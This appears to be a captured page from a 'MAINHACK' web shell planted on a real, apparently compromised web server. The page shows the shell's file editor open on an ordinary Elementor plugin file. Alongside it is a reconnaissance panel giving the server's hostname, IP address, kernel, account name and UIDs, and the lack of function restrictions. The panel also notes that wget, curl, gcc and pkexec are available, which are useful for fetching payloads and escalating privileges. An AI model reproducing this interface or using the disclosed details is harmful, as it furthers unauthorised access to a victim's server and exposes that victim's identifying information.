[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: component.php
<?php namespace Elementor\Modules\Components\Widgets; use Elementor\Modules\AtomicWidgets\Elements\Atomic_Widget_Base; use Elementor\Modules\AtomicWidgets\PropTypes\Primitives\Number_Prop_Type; use Elementor\Plugin; if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } class Component extends Atomic_Widget_Base { public static function get_element_type(): string { return 'e-component'; } public function show_in_panel() { return false; } public function get_title() { $title = esc_html__( 'Component', 'elementor' ); if ( isset( $this->get_settings ) && null !== $this->get_settings( 'component_id' ) ) { $post_id = $this->get_settings( 'component_id' )['value']; $title = Plugin::$instance->documents->get( $post_id )->get_title(); } return $title; } public function get_keywords() { return [ 'component' ]; } public function get_icon() { return 'eicon-star'; } protected static function define_props_schema(): array { return [ 'component_id' => Number_Prop_Type::make(), ]; } protected function define_atomic_controls(): array { return []; } protected function get_settings_controls(): array { return []; } protected function render(): void { if ( null === $this->get_settings( 'component_id' ) ) { return; } $post_id = $this->get_settings( 'component_id' )['value']; $content = Plugin::$instance->frontend->get_builder_content( $post_id ); $html = sprintf( '<div class="e-component">%s</div>', $content ); // PHPCS - should not be escaped. echo $html; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.37 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002